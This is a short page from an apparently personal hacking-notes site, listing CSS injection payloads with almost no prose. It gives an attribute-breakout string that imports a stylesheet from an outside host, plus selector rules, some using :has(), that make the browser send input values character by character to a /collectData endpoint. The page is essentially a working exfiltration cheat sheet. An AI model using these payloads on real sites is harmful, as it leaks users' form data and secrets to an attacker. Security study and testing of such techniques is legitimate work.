rootšŸ’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CSS Injection


"><style>@import'//host.com'</style>
<input value=1337>
<style>
input[value="1337"] {
   --value: url(/collectData?value=1337);
}
input {
   background:var(--value,none);
}
</style>
input[value$="a"] {
   --value: url(/collectData?value=1337)
}
input {
   background:var(--value,none);
}
input[value^="z"]{
    color: red;
}
input[value$=a] {
 --start-with-a: url(/collectData?data=a);
}
input {
  background:var(--start-with-a,none);
}


Abusing the has selector to exfiltrate the child nodes


div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}

:has selector